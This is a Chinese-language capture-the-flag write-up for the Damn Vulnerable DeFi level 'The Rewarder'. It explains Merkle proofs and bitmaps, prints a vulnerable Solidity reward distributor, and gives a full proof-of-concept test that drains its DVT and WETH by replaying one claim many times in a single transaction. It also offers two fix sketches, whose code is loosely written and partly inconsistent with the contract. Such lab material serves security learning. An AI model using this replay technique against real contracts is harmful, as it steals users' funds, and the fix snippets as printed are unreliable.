DVDF第5关:The Rewarder解析总结
闯关先知
Bitmap(位图)
假设项目方要记录256个用户是否领取了分发奖励: 普通思维: 给每个用户都准备一个bool变量,用来记录是否领取奖励,那么EVM 需要写 256 次 Storage ,会消耗巨额 Gas。 位图思维: EVM中一个标准的存储插槽大小恰好是256个比特位(bits)(即uint 256),每一个比特位有两种状态0(未领)或1(已领),原本每个用户都要单独创建一个变量,现在只需要一个变量就能同时记录256个人的领取记录。
Merkle树(默克尔树)
为什么需要Merkle树?
假设区块链上要给1000个用户分发奖励: 传统做法: 老板把1000名用户和分发金额全写进智能合约的存储空间(Storage)里,链上存储即贵,存1000用户要花费大量Gas Merkle做法: 老板在链下把者1000人的名单做成一棵树,最后算出一个32字节的树根指纹(Merkle Root)。只把这个32字节的Root存进合约里,链上只存一个指纹,只需要花费极少的Gas
Merkle树是怎么运作的?
Merkle Root(默克尔根)
每个人的数据称为叶子节点(Leaf),每个Leaf和邻居的Leaf拼在一起,两两拼接计算出一个哈希。一层一层往上拼,最终在最顶端汇聚成一个唯一的Merkle Root(默克尔根)。假设存在4个叶子节点:A、B、C、D,那么A + B = Hash_AB,C + D = Hash_CD,Hash_AB + Hash_CD = Merkle Root。
Merkle Proof(默克尔证明)
当去合约中领取奖励时,只需要提供:自己的数据(Leaf)+路径拼图(Proof),合约把自己的数据和Proof拼接计算,如果计算出来的Root和预存的Root一致,就证明自己在分发奖励名单中。如名单中存在 4 人:A、B、C、D。假设用户 A 去领取奖励,只需要提供相邻叶子节点 B以及对侧分支的哈希值(Hash_CD) 作为 Proof。合约拿到 A 的数据与 B 拼接算出 Hash_AB,再与 Hash_CD 拼接即可验证是否等于 Merkle Root。
The Rewarder
通关要求
A contract is distributing rewards of Damn Valuable Tokens and WETH. 这份合约将分配极具价值的代币和WETH作为奖励。 To claim rewards, users must prove they're included in the chosen set of beneficiaries. Don't worry about gas though. The contract has been optimized and allows claiming multiple tokens in the same transaction. 要领取奖励,用户必须证明自己属于所选的受益人群体。不过不用担心手续费问题。该合约已经过优化,允许在同一笔交易中领取多个代币。 Alice has claimed her rewards already. You can claim yours too! But you've realized there's a critical vulnerability in the contract. Alice 已经领取了她的奖励。你也可以领取你的!但你意识到合同中存在一个关键的漏洞。 Save as much funds as you can from the distributor. Transfer all recovered assets to the designated recovery account. 尽可能从分销商处节省资金。将所有追回的资产转入指定的recovery账户。 总结:尽可能多的从分发合约中获取资产,并转入recovery账户。
合约代码
TheRewarderDistributor.sol:主要用于分发奖励
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {FixedPointMathLib} from "solady/utils/FixedPointMathLib.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {BitMaps} from "@openzeppelin/contracts/utils/structs/BitMaps.sol";
struct Distribution {
uint256 remaining;
uint256 nextBatchNumber;
mapping(uint256 batchNumber => bytes32 root) roots;
mapping(address claimer => mapping(uint256 word => uint256 bits)) claims;
}
struct Claim {
uint256 batchNumber;
uint256 amount;
uint256 tokenIndex;
bytes32[] proof;
}
/**
* An efficient token distributor contract based on Merkle proofs and bitmaps
*/
contract TheRewarderDistributor {
using BitMaps for BitMaps.BitMap;
address public immutable owner = msg.sender;
mapping(IERC20 token => Distribution) public distributions;
error StillDistributing();
error InvalidRoot();
error AlreadyClaimed();
error InvalidProof();
error NotEnoughTokensToDistribute();
event NewDistribution(IERC20 token, uint256 batchNumber, bytes32 newMerkleRoot, uint256 totalAmount);
function getRemaining(address token) external view returns (uint256) {
return distributions[IERC20(token)].remaining;
}
function getNextBatchNumber(address token) external view returns (uint256) {
return distributions[IERC20(token)].nextBatchNumber;
}
function getRoot(address token, uint256 batchNumber) external view returns (bytes32) {
return distributions[IERC20(token)].roots[batchNumber];
}
function createDistribution(IERC20 token, bytes32 newRoot, uint256 amount) external {
if (amount == 0) revert NotEnoughTokensToDistribute();
if (newRoot == bytes32(0)) revert InvalidRoot();
if (distributions[token].remaining != 0) revert StillDistributing();
distributions[token].remaining = amount;
uint256 batchNumber = distributions[token].nextBatchNumber;
distributions[token].roots[batchNumber] = newRoot;
distributions[token].nextBatchNumber++;
SafeTransferLib.safeTransferFrom(address(token), msg.sender, address(this), amount);
emit NewDistribution(token, batchNumber, newRoot, amount);
}
function clean(IERC20[] calldata tokens) external {
for (uint256 i = 0; i < tokens.length; i++) {
IERC20 token = tokens[i];
if (distributions[token].remaining == 0) {
token.transfer(owner, token.balanceOf(address(this)));
}
}
}
// Allow claiming rewards of multiple tokens in a single transaction
function claimRewards(Claim[] memory inputClaims, IERC20[] memory inputTokens) external {
Claim memory inputClaim;
IERC20 token;
uint256 bitsSet; // accumulator
uint256 amount;
for (uint256 i = 0; i < inputClaims.length; i++) {
inputClaim = inputClaims[i];
uint256 wordPosition = inputClaim.batchNumber / 256;
uint256 bitPosition = inputClaim.batchNumber % 256;
if (token != inputTokens[inputClaim.tokenIndex]) {
if (address(token) != address(0)) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
token = inputTokens[inputClaim.tokenIndex];
bitsSet = 1 << bitPosition; // set bit at given position
amount = inputClaim.amount;
} else {
bitsSet = bitsSet | 1 << bitPosition;
amount += inputClaim.amount;
}
// for the last claim
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
bytes32 root = distributions[token].roots[inputClaim.batchNumber];
if (!MerkleProof.verify(inputClaim.proof, root, leaf)) revert InvalidProof();
inputTokens[inputClaim.tokenIndex].transfer(msg.sender, inputClaim.amount);
}
}
function _setClaimed(IERC20 token, uint256 amount, uint256 wordPosition, uint256 newBits) private returns (bool) {
uint256 currentWord = distributions[token].claims[msg.sender][wordPosition];
if ((currentWord & newBits) != 0) return false;
// update state
distributions[token].claims[msg.sender][wordPosition] = currentWord | newBits;
distributions[token].remaining -= amount;
return true;
}
}
完整合约代码:https://github.com/theredguild/damn-vulnerable-defi/blob/master/src/the-rewarder/TheRewarderDistributor.sol
PoC代码
完整PoC代码
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {Merkle} from "murky/Merkle.sol";
import {WETH} from "solmate/tokens/WETH.sol";
import {TheRewarderDistributor, IERC20, Distribution, Claim} from "../../src/the-rewarder/TheRewarderDistributor.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
contract TheRewarderChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address alice = makeAddr("alice");
address recovery = makeAddr("recovery");
uint256 constant BENEFICIARIES_AMOUNT = 1000;
uint256 constant TOTAL_DVT_DISTRIBUTION_AMOUNT = 10 ether;
uint256 constant TOTAL_WETH_DISTRIBUTION_AMOUNT = 1 ether;
// Alice is the address at index 2 in the distribution files
uint256 constant ALICE_DVT_CLAIM_AMOUNT = 2502024387994809;
uint256 constant ALICE_WETH_CLAIM_AMOUNT = 228382988128225;
TheRewarderDistributor distributor;
// Instance of Murky's contract to handle Merkle roots, proofs, etc.
Merkle merkle;
// Distribution data for Damn Valuable Token (DVT)
DamnValuableToken dvt;
bytes32 dvtRoot;
// Distribution data for WETH
WETH weth;
bytes32 wethRoot;
bytes32[] dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");
modifier checkSolvedByPlayer() {
vm.startPrank(player, player);
_;
vm.stopPrank();
_isSolved();
}
/**
* SETS UP CHALLENGE - DO NOT TOUCH
*/
function setUp() public {
startHoax(deployer);
// Deploy tokens to be distributed
dvt = new DamnValuableToken();
weth = new WETH();
weth.deposit{value: TOTAL_WETH_DISTRIBUTION_AMOUNT}();
// Calculate roots for DVT and WETH distributions
merkle = new Merkle();
dvtRoot = merkle.getRoot(dvtLeaves);
wethRoot = merkle.getRoot(wethLeaves);
// Deploy distributor
distributor = new TheRewarderDistributor();
// Create DVT distribution
dvt.approve(address(distributor), TOTAL_DVT_DISTRIBUTION_AMOUNT);
distributor.createDistribution({
token: IERC20(address(dvt)),
newRoot: dvtRoot,
amount: TOTAL_DVT_DISTRIBUTION_AMOUNT
});
// Create WETH distribution
weth.approve(address(distributor), TOTAL_WETH_DISTRIBUTION_AMOUNT);
distributor.createDistribution({
token: IERC20(address(weth)),
newRoot: wethRoot,
amount: TOTAL_WETH_DISTRIBUTION_AMOUNT
});
// Let's claim rewards for Alice.
// Set DVT and WETH as tokens to claim
IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));
// Create Alice's claims
Claim[] memory claims = new Claim[](2);
// First, the DVT claim
claims[0] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: ALICE_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 2) // Alice's address is at index 2
});
// And then, the WETH claim
claims[1] = Claim({
batchNumber: 0, // claim corresponds to first WETH batch
amount: ALICE_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to second token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 2) // Alice's address is at index 2
});
// Alice claims once
vm.startPrank(alice);
distributor.claimRewards({inputClaims: claims, inputTokens: tokensToClaim});
// Alice cannot claim twice
vm.expectRevert(TheRewarderDistributor.AlreadyClaimed.selector);
distributor.claimRewards({inputClaims: claims, inputTokens: tokensToClaim});
vm.stopPrank(); // stop alice prank
vm.stopPrank(); // stop deployer prank
}
/**
* VALIDATES INITIAL CONDITIONS - DO NOT TOUCH
*/
function test_assertInitialState() public view {
// Deployer owns distributor
assertEq(distributor.owner(), deployer);
// Batches created with expected roots
assertEq(distributor.getNextBatchNumber(address(dvt)), 1);
assertEq(distributor.getRoot(address(dvt), 0), dvtRoot);
assertEq(distributor.getNextBatchNumber(address(weth)), 1);
assertEq(distributor.getRoot(address(weth), 0), wethRoot);
// Alice claimed tokens
assertEq(dvt.balanceOf(alice), ALICE_DVT_CLAIM_AMOUNT);
assertEq(weth.balanceOf(alice), ALICE_WETH_CLAIM_AMOUNT);
// After Alice's claim, distributor still has enough tokens to distribute
uint256 expectedDVTLeft = TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT;
assertEq(dvt.balanceOf(address(distributor)), expectedDVTLeft);
assertEq(distributor.getRemaining(address(dvt)), expectedDVTLeft);
uint256 expectedWETHLeft = TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT;
assertEq(weth.balanceOf(address(distributor)), expectedWETHLeft);
assertEq(distributor.getRemaining(address(weth)), expectedWETHLeft);
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_theRewarder() public checkSolvedByPlayer {
// inputTokens用来保存Token地址
IERC20[] memory inputTokens = new IERC20[](2);
inputTokens[0] = IERC20(address(dvt));
inputTokens[1] = IERC20(address(weth));
uint256 dvt_amount = 11524763827831882;// player需要领取的DVT余额
uint256 weth_amount = 1171088749244340;// player需要领取的WETH余额
uint256 dvt_remaining = distributor.getRemaining(address(dvt));// 获取DVT剩余未领取的奖励余额
uint256 weth_remaining = distributor.getRemaining(address(weth));// 获取WETH剩余未领取的奖励余额
uint256 dvt_count = dvt_remaining / dvt_amount;// 获取循环提取DVT余额的次数
uint256 weth_count = weth_remaining / weth_amount;// 获取循环提取WETH余额的次数
Claim[] memory claims = new Claim[](dvt_count + weth_count);// 接收领取信息
// 关键点:把getProof放在for循环外,优化Gas
bytes32[] memory dvtProof = merkle.getProof(dvtLeaves, 188);// dvtProof
bytes32[] memory wethProof = merkle.getProof(wethLeaves, 188);// wethProof
// 循环提取DVT
for(uint256 i = 0; i < dvt_count; i++) {
claims[i] = Claim({
batchNumber: 0,
amount: dvt_amount,
tokenIndex: 0,
proof: dvtProof
});
}
// 循环提取WETH
for(uint256 j = 0; j < weth_count; j++) {
claims[dvt_count + j] = Claim({
batchNumber: 0,
amount: weth_amount,
tokenIndex: 1,
proof: wethProof
});
}
// 领取奖励
distributor.claimRewards(claims, inputTokens);
// 转账给recovery
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/
function _isSolved() private view {
// Player saved as much funds as possible, perhaps leaving some dust
assertLt(dvt.balanceOf(address(distributor)), 1e16, "Too much DVT in distributor");
assertLt(weth.balanceOf(address(distributor)), 1e15, "Too much WETH in distributor");
// All funds sent to the designated recovery account
assertEq(
dvt.balanceOf(recovery),
TOTAL_DVT_DISTRIBUTION_AMOUNT - ALICE_DVT_CLAIM_AMOUNT - dvt.balanceOf(address(distributor)),
"Not enough DVT in recovery account"
);
assertEq(
weth.balanceOf(recovery),
TOTAL_WETH_DISTRIBUTION_AMOUNT - ALICE_WETH_CLAIM_AMOUNT - weth.balanceOf(address(distributor)),
"Not enough WETH in recovery account"
);
}
struct Reward {
address beneficiary;
uint256 amount;
}
// Utility function to read rewards file and load it into an array of leaves
function _loadRewards(string memory path) private view returns (bytes32[] memory leaves) {
Reward[] memory rewards =
abi.decode(vm.parseJson(vm.readFile(string.concat(vm.projectRoot(), path))), (Reward[]));
assertEq(rewards.length, BENEFICIARIES_AMOUNT);
leaves = new bytes32[](BENEFICIARIES_AMOUNT);
for (uint256 i = 0; i < BENEFICIARIES_AMOUNT; i++) {
leaves[i] = keccak256(abi.encodePacked(rewards[i].beneficiary, rewards[i].amount));
}
}
}
自编写PoC代码
/**
* CODE YOUR SOLUTION HERE
*/
function test_theRewarder() public checkSolvedByPlayer {
// inputTokens用来保存Token地址
IERC20[] memory inputTokens = new IERC20[](2);
inputTokens[0] = IERC20(address(dvt));
inputTokens[1] = IERC20(address(weth));
uint256 dvt_amount = 11524763827831882;// player需要领取的DVT余额
uint256 weth_amount = 1171088749244340;// player需要领取的WETH余额
uint256 dvt_remaining = distributor.getRemaining(address(dvt));// 获取DVT剩余未领取的奖励余额
uint256 weth_remaining = distributor.getRemaining(address(weth));// 获取WETH剩余未领取的奖励余额
uint256 dvt_count = dvt_remaining / dvt_amount;// 获取循环提取DVT余额的次数
uint256 weth_count = weth_remaining / weth_amount;// 获取循环提取WETH余额的次数
Claim[] memory claims = new Claim[](dvt_count + weth_count);// 接收领取信息
// 关键点:把getProof放在for循环外,优化Gas
bytes32[] memory dvtProof = merkle.getProof(dvtLeaves, 188);// dvtProof
bytes32[] memory wethProof = merkle.getProof(wethLeaves, 188);// wethProof
// 循环提取DVT
for(uint256 i = 0; i < dvt_count; i++) {
claims[i] = Claim({
batchNumber: 0,
amount: dvt_amount,
tokenIndex: 0,
proof: dvtProof
});
}
// 循环提取WETH
for(uint256 j = 0; j < weth_count; j++) {
claims[dvt_count + j] = Claim({
batchNumber: 0,
amount: weth_amount,
tokenIndex: 1,
proof: wethProof
});
}
// 领取奖励
distributor.claimRewards(claims, inputTokens);
// 转账给recovery
dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}
运行结果 
关卡总结
漏洞原理
合约仅在切换代币或遍历完最后一个 Claim 时,才统一调用_setClaimed()更新位图。导致在同一代币的多次 Claim 遍历中,合约未立即检查并标记已领取状态,使攻击者可以在单笔交易中通过重复传入相同的 Claim 实现无限重放提取。
问题代码
if (i == inputClaims.length - 1) {
if (!_setClaimed(token, amount, wordPosition, bitsSet)) revert AlreadyClaimed();
}
触发条件
外部调用者在单笔交易中传入多次DVT和WETH代币的领取奖励请求,合约只有在切换代币和执行最后一次领取奖励,才会更新用户领取状态,导致用户可以重复领取奖励
合约分析
合约中涉及的函数
• getRemaining():获取token剩余未分发的奖励 • getNextBatchNumber():获取token下一批次的编号 • getRoot():获取token对应批次的默克尔跟 • createDistribution():为token创建分发 • clean():清空合约余额 • claimRewards():领取奖励(核心) • _setClaimed():记录领取状态
奖励领取流程分析(claimRewards())
- 假设Alice用户需要领取一次DVT和WETH奖励:
- 传入Claim[] memory inputClaims:领取DVT和WETH奖励需要提供的batchNumber批次编号、amount领取金额、tokenIndex代币索引和proof领取证明,inputClaims.length为2,inputClaims[0]为DVT,inputClaims[1]为WETH,IERC20[] memory inputTokens:领取奖励的代币,0为DVT,1为WETH
- 通过for循环来遍历inputClaims,inputClaims.length为2,for循环会执行2次
- 循环体内根据传入的inputClaim.batchNumber来判断用户的位置在哪个word和bit,以便标记用户是否已领取奖励
- 第1次for循环,token为空,if (token != inputTokens[inputClaim.tokenIndex])成立,if (address(token) != address(0))不成立,执行token = DVT,bitsSet = 1 << 0 = 1,amount = inputClaim.amount = 2502024387994809
- if (i == inputClaims.length - 1)不成立,根据叶子节点leaf、root和inputClaim.proof领取证明,验证默克尔证明成功,向Alice转账 2502024387994809 DVT
- 第2次for循环,token为DVT,if (token != inputTokens[inputClaim.tokenIndex])成立,if (address(token) != address(0))成立,执行_setClaimed(token, amount, wordPosition, bitsSet)
- 进入_setClaimed函数,currentWord = 0,newBits = 1,0 & 1 = 0,if ((currentWord & newBits) != 0) = 0 不成立,DVT领取状态更新 distributions[token].claims[msg.sender][wordPosition] = 1,distributions[token].remaining -= amount;
- token = WETH,bitsSet = 1 << 0 = 1,amount = inputClaim.amount = 228382988128225
- if (i == inputClaims.length - 1)成立,再次执行_setClaimed(token, amount, wordPosition, bitsSet)
- 进入_setClaimed函数,currentWord = 0,newBits = 1,0 & 1 = 0,if ((currentWord & newBits) != 0) = 0 不成立,WETH领取状态更新 distributions[token].claims[msg.sender][wordPosition] = 1,distributions[token].remaining -= amount;
- 根据叶子节点leaf、root和inputClaim.proof领取证明,验证默克尔证明成功,向Alice转账 228382988128225 WETH,流程结束!
攻击步骤
- 通过IERC20[]记录需要领取奖励的Token地址,0为DVT,1为WETH(inputTokens)
- 调用TheRewarderDistributor合约中的getRemaining()函数,获取DVT和WETH剩余未领取的奖励余额
- 根据领取名单中DVT和WETH的amount数量,结合DVT和WETH剩余未领取的奖励余额,计算出需要循环提取的最大次数
- 把Claim中需要传入的dvt_proof和weth_proof单独用变量保存,防止链上执行时每次循环都需要通过Merkle调用getProof,导致消耗大量的Gas出现GasOut报错
- 通过两个for循环,分别提取合约中DVT和WETH剩余未领取的奖励余额
- 第1个for循环用来提取DVT,并结合Claim[]数组,接收保存领取的DVT信息
- 第2个for循环用来提取WETH,同样结合Claim[]数组,在数组末尾追加保存领取的WETH信息
- 调用TheRewarderDistributor合约的claimRewards()函数,并传入Claim数组和inputTokens,开始领取奖励
- 由于合约只有在切换代币和执行最后一次领取奖励,才会更新用户领取状态,导致用户可以重复领取奖励
- 最后,分别把DVT和WETH领取到的奖励转给recovery账户
修复方法
核心修复:必须在每次循环处理 Claim 时,立即检查并写入已领取状态(位图)
方案A:即时更新状态 + 集中转账(推荐,兼顾 Gas 和安全)
保留集中转账(省 Gas),但必须在每次循环里立即检查并更新位图(Bitmap),防止同一个 Claim 在同一批次中被多次重放:
for (uint256 i = 0; i < inputClaims.length; i++) {
Claim memory inputClaim = inputClaims[i];
IERC20 token = inputTokens[inputClaim.tokenIndex];
// 1. Check: 校验 Merkle Proof
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
if (!MerkleProof.verify(inputClaim.proof, distributions[token].merkleRoot, leaf)) {
revert InvalidProof();
}
// 2. Check & Effect: 【关键修复】每次循环立即检查并标记已领取!
// 如果已经领取过,_setClaimed 内部会 revert
_setClaimed(token, inputClaim.batchNumber, msg.sender, inputClaim.amount);
// 3. 累加金额(待循环结束后一次性 transfer)
subclaimerRewards += inputClaim.amount;
}
// 循环结束后统一转账
IERC20(token).transfer(msg.sender, subclaimerRewards);
方案B:每次循环独立完成“检查 \rightarrow 更新状态 \rightarrow 转账”的全过程:
for (uint256 i = 0; i < inputClaims.length; i++) {
Claim memory inputClaim = inputClaims[i];
IERC20 token = inputTokens[inputClaim.tokenIndex];
// 1. Check Merkle Proof
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, inputClaim.amount));
if (!MerkleProof.verify(inputClaim.proof, distributions[token].merkleRoot, leaf)) revert InvalidProof();
// 2. Check & Effect: 立即更新状态,防止重放
_setClaimed(token, inputClaim.batchNumber, msg.sender, inputClaim.amount);
// 3. Interaction: 立即转账
distributions[token].remaining -= inputClaim.amount;
token.transfer(msg.sender, inputClaim.amount);
}
审计视角
切勿为了极致的 Gas 优化而牺牲安全顺序,状态更新必须遵循 CEI(Check-Effects-Interactions) 原则。
逻辑反思
写 PoC 时,避免在for循环内部重复进行跨合约调用(如 merkle.getProof)。应提前在内存中将bytes32[]变量声明好,循环内仅做指针引用,以此优化Gas。
版权声明
本文仅代表作者观点,不代表区块链技术网立场。
本文系作者授权本站发表,未经许可,不得转载。
鸿途知科网
发表评论:
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。